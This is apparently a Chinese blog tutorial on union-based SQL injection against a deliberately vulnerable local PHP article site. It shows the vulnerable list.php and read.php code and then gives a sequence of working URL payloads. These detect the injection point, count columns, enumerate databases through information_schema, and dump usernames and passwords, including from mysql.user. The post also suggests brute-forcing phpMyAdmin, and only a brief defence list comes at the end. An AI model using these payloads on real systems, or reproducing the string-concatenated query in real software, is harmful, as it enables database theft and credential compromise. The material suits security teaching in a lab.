SQL-查询漏洞

一、查询注入的数据类型

//list.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatiable" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-sacle=1.0">
    <title>文章列表</title>
    <style>
        table{
            width : 800px;
            margin : auto;
            border : solid 1px gray;
            border-spacing: 0px;
        }
        td{
            border : solid 1px gray;
            height : 40px;
        }
    </style>
    <script>
        function doDelete(articleid){
            if(!window.confirm("你确定要删除该文章吗?")){
                return false;
            }
            //window.alert(articleid);
            $.post('delete.php','articleid='+articleid,function(data){
                if(data == 'delete-ok'){
                    window.alert('删除成功');
                    //location.href = "list.php";
                    location.reload();  //刷新当前页面
                }
                else{
                    window.alert('删除失败' + data);
                }
            });
        }
    </script>
</head>
<body>
    <table>
        <tr>
            <td>编号</td>
            <td>作者</td>
            <td>标题</td>
            <td>次数</td>
            <td>时间</td>
            <td>操作</td>
        </tr>
<?php

include "commond.php";

if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
    die("请先登录.<a href='login.html'>点此登录</a>");
}

$conn = creat_connection();

$sql = "select articleid,author,headline,viewcount,creattime from learn3";
$result = mysqli_query($conn,$sql);

//将数据库查询的结果集中的数据取出,保存到一个数组中
$rows = mysqli_fetch_all($result);

//遍历结果集数据并在表格中展示

foreach($rows as $row){
    echo '<tr>';
    echo '<td>' . $row[0] . '</td>';
    echo '<td>' . $row[1] . '</td>';
    echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
    echo '<td>' . $row[3] . '</td>';
    echo '<td>' . $row[4] . '</td>';
    //echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';
    echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
    echo '</tr>';
}

    mysqli_close($conn);
    ?>
    
    </table>
</body>
</html>
//read.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatiable" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-sacle=1.0">
    <title>Document</title>
    <style>
        div{
            width:800px;
            margin:auto;
            height:60px;
        }
    </style>
</head>
<body>
    <?php
    include "commond.php";
    if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
        die("请先登录.<a href='login.html'>点此登录</a>");
    }

    $conn = creat_connection();

    
    $id = $_GET['id'];
    $sql = "select * from learn3 where articleid=$id";
    $result = mysqli_query($conn,$sql);
    
    $article = mysqli_fetch_assoc($result);  //读取结果集中的第一行数据,并用关联数组表示
    ?>

    <div><?=$article['headline']?></div>
    <div><hr></div>
    <div><?=$article['content']?></div>
</body>
</html>

注入点根据可控参数的数据类型不同,可分为3类,分别是:

1、数字型

select * from tables where id = 1;

2、字符型

select * from tables where username = 'woniu';

3、搜索型

select * from tables where id like '%woniu%';

4、注释方式

数据类型不同,在注入的payload中会有大小不同,主要就是考察队字符语法规则的理解和注释的运用

#(%23),--(空格--+),/* */

二、注入步骤

1、通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不一致,说明我们输入的语句被数据库执行了

2、通过观察或报错信息来判定输入点的数据类型,数字型,字符型,搜索型

3、使用order by来确定主查询数目,order by本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在正确的主查询条数上。所以在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询一致。order by只会超出主查询列数后才会报错,小于或等于主查询列数不会报错

http://localhost/security/read.php?id=1 order by 6
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6

4、使用union select查询,将主查询改为负数或者不存在

union联合查询的前提:列数相等

select * from tables where id = -1 union select 1,2,3,4,5,6...

如果不知道列数的情况下,可以通过猜测的方式来使用 select * from 表名,通常
表名起的是有意义的,所以猜测正确的概率是有的。如果表名猜测错误,是会出现错误信息
或者查询不出结果。那么只要能查询出结果,则说明表名是正确的,且*的列数也是正确的

在能够回显的基础上,则可以做任意MySQL支持的查询,包括各种SQL语句和内置变量或函数的应用

5、在显示的数字位置上,替换对应的查询语句,database(),version(),user()

http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3

将articleid改为-1的话,3和4就代表了headline和content

#还可以直接查询数据表的内容,进而实现拖库(脱裤)以下查询的前提是需要知道表名和列名
http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
limit 0,1的意思是从第0个开始往后取一个

通过concat()进行字符串拼接,可以一次性直接获取一行数据,而不用分列获取
http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6

http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3

6、使用information_schema进行所有内容查询,得知库名后首先查询表:

select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名"

7、根据库名和表名查出所有的列名

select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"

http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6

8、知道表名和列名,可以直接查出表的内容

select group_comcat(列名) from "表名";

9、使用concat连接列值,可以一次性取出很多列

select concat(username,"==",password,"==",role) as userinfo from user

10、如果查出多列,只能显示一列,则可以使用limit

select * from user limit 0,1 或 limit 8,1 等
或
select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1

三、进阶用法

1、使用concat_ws指定分隔符,比concat更加方便

select concat_ws('==',username,password,role) as userinfo from user

2、使用group_concat和concat_ws连用

select * from article where articleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema.tables where table_schema='learn'),
(select group_concat(concat_ws('==',username,password,role)) from user),5,6

/security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6

/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6

一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。

#如果数据量庞大,则可以分批次进行
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6

3、使用十六进制代替单引号

在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1

/security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6

4、浏览所有数据库

/security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
information_schema.tables),5,6

information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库

尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台,如果使用认证方式为:http,则可以爆破,所以最好的方式是不要开启PHPMyAdmin,或者
在需要的时候开启远程访问

5、针对非数字型的查询漏洞

/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'

select * from learn3 where content like '%页面%';
select * from learn3 where content like '%页面%'-- '%';
select * from learn3 where content like '%页面%'#'%';

上述查询主要针对MySQL数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLServer等其他数据库,也一样。

上述注入均是GET请求,针对POST请求是完全一样的用法,只是将Payload移到Post请求的正文当中即可。

首先访问localhost/security/read.php?id=1,出现如果所示的响应:

但凡出现上述URL地址的格式,大概率会有SQL注入漏洞,修改?id的值

然后尝试?id=1 and 1=1 和?id=1 and 1=2

id = 1 and 1=2 无法查询到内容,?id = 1 and 1=1 可以查询到内容

说明在这个地方有注入

四、Union查询注入不适用的地方

1、注入语句无法截断,且不清楚完整的SQL查询语句

2、页面不能返回查询信息的时候

3、Web页面中有两个SQL查询语句,查询语句的列数不同

五、防护方法

1、添加addslashes

2、将id类数字型参数转换为整数

3、判断参数的长度,通常一个ID不会太长

4、对输入进行过滤,如information_schema,union,order by,逗号等等

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值